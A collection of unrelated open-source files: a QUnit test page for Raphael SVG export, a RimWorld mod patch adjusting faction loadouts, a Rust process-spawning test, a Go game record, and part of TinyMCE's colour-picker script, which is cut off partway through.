.attr({ fill: '135-#f00-#ff0', transform: 'T120,120', 'stroke-dasharray': '- ', 'stroke-width': 3 })
,
paper.circle(50, 40, 20)
.attr({ fill: '#f00', transform: 'T60,150', opacity: .5 })
.glow({ width: 50, color: '#F00' })
);
paper.path('M10,10L10,20L20,20L20,30')
.transform('T200,0')
;
paper.path('M10,10L10,20L20,20L20,30')
.rotate(-25)
.scale(1.75)
.translate(10,5)
;
paper.text(120, 30, 'Hello World')
.attr({
'text-anchor': 'start'
});
paper.text(300, 80, 'Medium Font,\nRight Anchored')
.attr({
'text-anchor': 'end',
'font-size': 16
});
paper.text(140, 120, 'Bigger Font, Middle Anchored')
.attr({
'text-anchor': 'middle',
'font-size': 20,
'transform': 'T40,20S1.2R10'
});
// Rounded rect
paper.rect(10, 160, 40, 40, 5)
var paperTiger = new Raphael('tiger');
paperTiger.add(tiger);
var svg = paper.toSVG();
var tigerSVG = paperTiger.toSVG();
if ( Raphael.svg === true ) {
// Currently doesn't work on Firefox 3.6
document.getElementById('raphael-export-paper').innerHTML = svg;
document.getElementById('tiger-exported').innerHTML = tigerSVG;
} else {
$('#raphael-export-paper')
.html('<p>Not an SVG Browser but here\'s the SVG exported.</p>')
.text(svg)
;
$('#tiger-exported').text(svg);
}
test('does not duplicate tag attributes', function() {
ok(svg.indexOf(' x="50" x="50"') === -1, 'Duplicate x="50" found');
});
test('escapes quotes', function() {
ok(svg.indexOf('"Arial"') > -1, '""Arial"" not found');
});
test('serializes text tag', function() {
equal($(svg).find('tspan:first').text(), 'Hello World', 'text present');
ok($(svg).find('tspan[dy]').length > 0, 'tspan dy attribute present');
ok($(svg).find('tspan[dy]:first"').attr('dy') !== '0', 'tspan dy attribute is not "0"');
ok($($(svg).find('text')[1]).attr('font-size') === '16px', 'tspan font-size attribute is "16px"');
});
test('serializes path tag', function() {
ok($(svg).find('path[d]').length > 0, 'path d attribute present');
});
});
</script>
</head>
<body>
<h1 id="qunit-header">Raphael.Export Tests</h1>
<h2 id="qunit-banner"></h2>
<div id="qunit-testrunner-toolbar"></div>
<h2 id="qunit-userAgent"></h2>
<ol id="qunit-tests"></ol>
<div id="qunit-fixture"></div>
<div id="visual-tests">
<h2>Visual Tests for SVG Browsers</h2>
<p>Left = Raphael, Right = Raphael.Export (via DOM insert)</p>
<div id="raphael-paper" class="paper"></div>
<div id="raphael-export-paper" class="exported-paper"></div>
<br style="clear: both;" />
<div id="tiger" class="paper"></div>
<div id="tiger-exported" class="exported-paper"></div>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8" ?>
<Patch>
<Operation Class="PatchOperationSequence">
<success>Always</success>
<operations>
<li Class="CombatExtended.PatchOperationFindMod">
<modName>[RH] Faction: Umbra Company</modName>
</li>
<!-- ========== Reduce meals and medicine carried by all pawns ========== -->
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[@Name="RH_UmbraCompany_Base"]/invNutrition</xpath>
<value>
<invNutrition>1</invNutrition>
</value>
</li>
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[@Name="RH_UmbraCompany_Base"]/inventoryOptions</xpath>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Gunner" or
defName="RH_UmbraCompany_Grenadier" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite"
]/inventoryOptions/subOptionsChooseOne</xpath>
<value>
<subOptionsChooseOne>
<li>
<thingDef>RNMedicine_IFAK_Multicam</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
<li>
<thingDef>RNMedicine_MedicBag</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
</subOptionsChooseOne>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_APCCrewman"
]/inventoryOptions/subOptionsChooseOne</xpath>
<value>
<subOptionsChooseOne>
<li>
<thingDef>RNMedicine_IFAK_Multicam</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
</subOptionsChooseOne>
</value>
</li>
<!-- ========== Remove smokepop belt ========== -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault_TierII" or
@Name="RH_UCEliteTierBase" or
defName="RH_UmbraCompany_Trader"
]/apparelTags/li[.="BeltDefensePop"]</xpath>
</li>
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Trader"
]/apparelRequired/li[.="Apparel_SmokepopBelt"]</xpath>
</li>
<!-- ========== Umbra Company faction pawns should spawn backpacks, allowing them to carry their (huge) inventory ========== -->
<li Class="PatchOperationAdd">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Gunner" or
defName="RH_UmbraCompany_Grenadier" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Trader" or
defName="RH_UmbraCompany_APCCrewman"
]/apparelRequired</xpath>
<value>
<li>Apparel_Backpack</li>
</value>
</li>
<!-- ========== Umbra Company faction pawns should spawn with ammo appropriate to their primary weapon, as well as a sidearm (and its own ammo) ========== -->
<!-- First remove redundant M9 HRT from pawns' existing primary weaponTags -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_APCCrewman"]/weaponTags/li[.="RN_M9HRT"]</xpath>
</li>
<!-- Also remove C4 from standard Grenadiers, so the magazine count patch doesn't crowd out the room required for the sidearm -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Grenadier"]/weaponTags/li[.="RH_UC_Explosives"]</xpath>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_APCCrewman" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Trader"
]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>6</min>
<max>8</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Gunner"]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>3</min>
<max>4</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Grenadier"]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>24</min>
<max>26</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<!-- ========== Tweak minimum weaponMoney for selected pawn types, so that they actually spawn with weapons ========== -->
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Gunner"]/weaponMoney/min</xpath>
<value>
<min>480</min>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII"
]/weaponMoney/min</xpath>
<value>
<min>400</min>
</value>
</li>
</operations>
</Operation>
</Patch>
|
{
"pile_set_name": "Github"
}
|
//= {"output":{"2":["",true],"1":["",true]},"children":[{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"},{"output":{"2":["",true],"1":["",true]},"children":[],"exit":"Success"}],"exit":"Success"}
use constellation::*;
use std::env;
fn main() {
init(Resources {
mem: 2 * Mem::GIB,
..Resources::default()
});
let fabric = env::var("CONSTELLATION") == Ok(String::from("fabric"));
if fabric {
try_spawn(
Resources {
mem: 2 * Mem::GIB,
..Resources::default()
},
FnOnce!(|_parent| ()),
)
.block()
.err()
.expect("spawn() should have failed");
}
for _ in 0..7 {
let pid = spawn(
Resources {
mem: Mem::GIB,
..Resources::default()
},
FnOnce!(|parent| Receiver::<()>::new(parent).recv().block().unwrap()),
)
.block()
.expect("spawn() failed to allocate process");
let sender1 = Sender::<()>::new(pid);
if fabric {
try_spawn(
Resources {
mem: Mem::GIB,
..Resources::default()
},
FnOnce!(|_parent| ()),
)
.block()
.err()
.expect("spawn() should have failed");
}
for _ in 0..6 {
let pid = spawn(
Resources {
mem: Mem::GIB / 2,
..Resources::default()
},
FnOnce!(|parent| Receiver::<()>::new(parent).recv().block().unwrap()),
)
.block()
.expect("spawn() failed to allocate process");
let sender2 = Sender::<()>::new(pid);
if fabric {
try_spawn(
Resources {
mem: Mem::GIB / 2,
..Resources::default()
},
FnOnce!(|_parent| ()),
)
.block()
.err()
.expect("spawn() should have failed");
try_spawn(
Resources {
mem: Mem::B,
..Resources::default()
},
FnOnce!(|_parent| ()),
)
.block()
.err()
.expect("spawn() should have failed");
}
sender2.send(()).block();
}
sender1.send(()).block();
}
}
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2017-07-16]
PB[单身情歌]BR[9段]
PW[骊龙]WR[9段]
KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60]
;B[pd];W[dd];B[pq];W[dp];B[fq];W[cn];B[jp];W[po];B[pl];W[lo];B[np]
;W[no];B[oo];W[on];B[op];W[nn];B[mp];W[qn];B[pi];W[qq];B[qr];W[qp]
;B[rr];W[rl];B[fc];W[cf];B[jd];W[qf];B[pf];W[pg];B[of];W[qd];B[qc]
;W[re];B[pe];W[qg];B[og];W[pc];B[pb];W[oc];B[rc];W[ob];B[qa];W[oa]
;B[sb];W[rd];B[ra];W[oh];B[ph];W[nh];B[rh];W[mf];B[nd];W[ld];B[le]
;W[ke];B[ng];W[mg];B[mh];W[oj];B[me];W[ne];B[lh];W[lg];B[nf];W[md]
;B[oe];W[lf];B[ne];W[kf];B[nc];W[kd];B[mb];W[lb];B[ma];W[rj];B[pj]
;W[qh];B[mj];W[ec];B[fd];W[jc];B[ic];W[id];B[hd];W[je];B[ef];W[df]
;B[eh];W[di];B[dh];W[ch];B[ci];W[cj];B[bi];W[bh];B[dj];W[ei];B[bj]
;W[fh];B[ck];W[eg];B[dr];W[cq];B[ib];W[he];B[fo];W[jb];B[cr];W[bl]
;B[dm];W[dn];B[en];W[br];B[mo];W[nl];B[pk];W[kh];B[rm];W[ri];B[lj]
;W[qm];B[de];W[eb];B[ge];W[hc];B[gc];W[hb];B[hf];W[gd];B[gg];W[hh]
;B[hd];W[ie];B[fi];W[dg];B[gh];W[gi];B[hi];W[fj];B[gj];W[fi];B[ih]
;W[ff])
|
{
"pile_set_name": "Github"
}
|
tinyMCEPopup.requireLangPack();
var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false;
var colors = [
"#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033",
"#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099",
"#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff",
"#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033",
"#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399",
"#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff",
"#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333",
"#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399",
"#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff",
"#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633",
"#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699",
"#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff",
"#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633",
"#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999",
"#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff",
"#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933",
"#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999",
"#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff",
"#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33",
"#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99",
"#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff",
"#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33",
"#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99",
"#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff",
"#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33",
"#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99",
"#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff"
];
var named = {
'#F0F8FF':'Alice Blue','#FAEBD7':'Antique White','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige',
'#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'Blanched Almond','#0000FF':'Blue','#8A2BE2':'Blue Violet','#A52A2A':'Brown',
'#DEB887':'Burly Wood','#5F9EA0':'Cadet Blue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'Cornflower Blue',
'#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'Dark Blue','#008B8B':'Dark Cyan','#B8860B':'Dark Golden Rod',
'#A9A9A9':'Dark Gray','#A9A9A9':'Dark Grey','#006400':'Dark Green','#BDB76B':'Dark Khaki','#8B008B':'Dark Magenta','#556B2F':'Dark Olive Green',
'#FF8C00':'Darkorange','#9932CC':'Dark Orchid','#8B0000':'Dark Red','#E9967A':'Dark Salmon','#8FBC8F':'Dark Sea Green','#483D8B':'Dark Slate Blue',
'#2F4F4F':'Dark Slate Gray','#2F4F4F':'Dark Slate Grey','#00CED1':'Dark Turquoise','#9400D3':'Dark Violet','#FF1493':'Deep Pink','#00BFFF':'Deep Sky Blue',
'#696969':'Dim Gray','#696969':'Dim Grey','#1E90FF':'Dodger Blue','#B22222':'Fire Brick','#FFFAF0':'Floral White','#228B22':'Forest Green',
'#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'Ghost White','#FFD700':'Gold','#DAA520':'Golden Rod','#808080':'Gray','#808080':'Grey',
'#008000':'Green','#ADFF2F':'Green Yellow','#F0FFF0':'Honey Dew','#FF69B4':'Hot Pink','#CD5C5C':'Indian Red','#4B0082':'Indigo','#FFFFF0':'Ivory',
'#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'Lavender Blush','#7CFC00':'Lawn Green','#FFFACD':'Lemon Chiffon','#ADD8E6':'Light Blue',
'#F08080':'Light Coral','#E0FFFF':'Light Cyan','#FAFAD2':'Light Golden Rod Yellow','#D3D3D3':'Light Gray','#D3D3D3':'Light Grey','#90EE90':'Light Green',
'#FFB6C1':'Light Pink','#FFA07A':'Light Salmon','#20B2AA':'Light Sea Green','#87CEFA':'Light Sky Blue','#778899':'Light Slate Gray','#778899':'Light Slate Grey',
'#B0C4DE':'Light Steel Blue','#FFFFE0':'Light Yellow','#00FF00':'Lime','#32CD32':'Lime Green','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon',
'#66CDAA':'Medium Aqua Marine','#0000CD':'Medium Blue','#BA55D3':'Medium Orchid','#9370D8':'Medium Purple','#3CB371':'Medium Sea Green','#7B68EE':'Medium Slate Blue',
'#00FA9A':'Medium Spring Green','#48D1CC':'Medium Turquoise','#C71585':'Medium Violet Red','#191970':'Midnight Blue','#F5FFFA':'Mint Cream','#FFE4E1':'Misty Rose','#FFE4B5':'Moccasin',
'#FFDEAD':'Navajo White','#000080':'Navy','#FDF5E6':'Old Lace','#808000':'Olive','#6B8E23':'Olive Drab','#FFA500':'Orange','#FF4500':'Orange Red','#DA70D6':'Orchid',
'#EEE8AA':'Pale Golden Rod','#98FB98':'Pale Green','#AFEEEE':'Pale Turquoise','#D87093':'Pale Violet Red','#FFEFD5':'Papaya Whip','#FFDAB9':'Peach Puff',
'#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'Powder Blue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'Rosy Brown','#4169E1':'Royal Blue',
'#8B4513':'Saddle Brown','#FA8072':'Salmon','#F4A460':'Sandy Brown','#2E8B57':'Sea Green','#FFF5EE':'Sea Shell','#A0522D':'Sienna','#C0C0C0':'Silver',
'#87CEEB':'Sky Blue','#6A5ACD':'Slate Blue','#708090':'Slate Gray','#708090':'Slate Grey','#FFFAFA':'Snow','#00FF7F':'Spring Green',
'#4682B4':'Steel Blue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet',
'#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'White Smoke','#FFFF00':'Yellow','#9ACD32':'Yellow Green'
};
var namedLookup = {};
function init() {
var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')), key, value;
tinyMCEPopup.resizeToInnerSize();
generatePicker();
generateWebColors();
generateNamedColors();
if (inputColor) {
changeFinalColor(inputColor);
col = convertHexToRGB(inputColor);
if (col)
updateLight(col.r, col.g, col.b);
}
for (key in named) {
value = named[key];
namedLookup[value.replace(/\s+/, '').toLowerCase()] = key.replace(/#/, '').toLowerCase();
}
}
function toHexColor(color) {
var matches, red, green, blue, toInt = parseInt;
function hex(value) {
value = parseInt(value).toString(16);
return value.length > 1 ? value : '0' + value; // Padd with leading zero
};
color = tinymce.trim(color);
color = color.replace(/^[#]/, '').toLowerCase(); // remove leading '#'
color = namedLookup[color] || color;
matches = /^rgb\((\d{1,3}),(\d{1,3}),(\d{1,3})\)$/.exec(color);
if (matches) {
red = toInt(matches[1]);
green = toInt(matches[2]);
blue = toInt(matches[3]);
} else {
matches = /^([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/.exec(color);
if (matches) {
red = toInt(matches[1], 16);
green = toInt(matches[2], 16);
blue = toInt(matches[3], 16);
} else {
matches = /^([0-9a-f])([0-9a-f])([0-9a-f])$/.exec(color);
if (matches) {
red = toInt(matches[1] + matches[1], 16);
green = toInt(matches[2] + matches[2], 16);
blue = toInt(matches[3] + matches[3], 16);
} else {
return '';
}
}
}
return '#' + hex(red) + hex(green) + hex(blue);
}
function insertAction() {
var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func');
var hexColor = toHexColor(color);
if (hexColor === '') {
var text = tinyMCEPopup.editor.getLang('advanced_dlg.invalid_color_value');
tinyMCEPopup.alert(text + ': ' + color);
}
else {
tinyMCEPopup.restoreSelection();
if (f)
f(hexColor);
tinyMCEPopup.close();
}
}
function showColor(color, name) {
if (name)
document.getElementById("colorname").innerHTML = name;
document.getElementById("preview").style.backgroundColor = color;
document.getElementById("color").value = color.toUpperCase();
}
function convertRGBToHex(col) {
var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");
if (!col)
return col;
var rgb = col.replace(re, "$1,$2,$3").split(',');
if (rgb.length == 3) {
r = parseInt(rgb[0]).toString(16);
g = parseInt(rgb[1]).toString(16);
b = parseInt(rgb[2]).toString(16);
r = r.length == 1 ? '0' + r : r;
g = g.length == 1 ? '0' + g : g;
b = b.length == 1 ? '0' + b : b;
return "#" + r + g + b;
}
return col;
}
function convertHexToRGB(col) {
if (col.indexOf('#') != -1) {
col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');
r = parseInt(col.substring(0, 2), 16);
g = parseInt(col.substring(2, 4), 16);
b = parseInt(col.substring(4, 6), 16);
return {r : r, g : g, b : b};
}
return null;
}
function generatePicker() {
var el = document.getElementById('light'), h = '', i;
for (i = 0; i < detail; i++){
h += '<div id="gs'+i+'" style="background-color:#000000; width:15px; height:3px; border-style:none; border-width:0px;"'
+ ' onclick="changeFinalColor(this.style.backgroundColor)"'
+ ' onmousedown="isMouseDown = true; return false;"'
+ ' onmouseup="isMouseDown = false;"'
+ ' onmousemove="if (isMouseDown && isMouseOver) changeFinalColor(this.style.backgroundColor); return false;"'
+ ' onmouseover="isMouseOver = true;"'
+ ' onmouseout="isMouseOver = false;"'
+ '></div>';
}
el.innerHTML = h;
}
function generateWebColors() {
var el = document.getElementById('webcolors'), h = '', i;
if (el.className == 'generated')
return;
// TODO: VoiceOver doesn't seem to support legend as a label referenced by labelledby.
h += '<div role="listbox" aria-labelledby="webcolors_title" tabindex="0"><table role="presentation" border="0" cellspacing="1" cellpadding="0">'
+ '<tr>';
for (i=0; i<colors.length; i++) {
h += '<td bgcolor="' + colors[i] + '" width="10" height="10">'
+ '<a href="javascript:insertAction();" role="option" tabindex="-1" aria-labelledby="web_colors_' + i + '" onfocus="showColor(\'' + colors[i] + '\');" onmouseover="showColor(\'' + colors[i] + '\');" style="display:block;width:10px;height:10px;overflow:hidden;">';
if (tinyMCEPopup.editor.forcedHighContrastMode) {
h += '<canvas class="mceColorSwatch" height="10" width="10" data-color="' + colors[i] + '"></canvas>';
}
h += '<span class="mceVoiceLabel" style="display:none;" id="web_colors_' + i + '">' + colors[i].toUpperCase() + '</span>';
h += '</a></td>';
if ((i+1) % 18 == 0)
h += '</tr><tr>';
}
h += '</table></div>';
el.innerHTML = h;
el.className = 'generated';
paintCanvas(el);
enableKeyboardNavigation(el.firstChild);
}
function paintCanvas(el) {
tinyMCEPopup.getWin().tinymce.each(tinyMCEPopup.dom.select('canvas.mceColorSwatch', el), function(canvas) {
var context;
if (canvas.getContext && (context = canvas.getContext("2d"))) {
context.fillStyle = canvas.getAttribute('data-color');
context.fillRect(0, 0, 10, 10);
}
});
}
function generateNamedColors() {
var el = document.getElementById('namedcolors'), h = '', n, v, i = 0;
if (el.className == 'generated')
return;
for (n in named) {
v = named[n];
h += '<a href="javascript:insertAction();" role="option" tabindex="-1" aria-labelledby="named_colors_' + i + '" onfocus="showColor(\'' + n + '\',\'' + v + '\');" onmouseover="showColor(\'' + n + '\',\'' + v + '\');" style="background-color: ' + n + '">';
if (tinyMCEPopup.editor.forcedHighContrastMode) {
h += '<canvas class="mceColorSwatch" height="10" width="10" data-color="' + colors[i] + '"></canvas>';
}
h += '<span class="mceVoiceLabel" style="display:none;" id="named_colors_' + i + '">' + v + '</span>';
h += '</a>';
i++;
}
el.innerHTML = h;
el.className = 'generated';
paintCanvas(el);
enableKeyboardNavigation(el);
}
function enableKeyboardNavigation(el) {
tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', {
root: el,
items: tinyMCEPopup.dom.select('a', el)
}, tinyMCEPopup.dom);
}
function dechex(n) {
return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16);
}
function computeColor(e) {
var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB, pos = tinyMCEPopup.dom.getPos(e.target);
x = e.offsetX ? e.offsetX : (e.target ? e.clientX - pos.x : 0);
y = e.offsetY ? e.offsetY : (e.target ? e.clientY - pos.y : 0);
partWidth = document.getElementById('colors').width / 6;
partDetail = detail / 2;
imHeight = document.getElementById('colors').height;
r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255;
g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth);
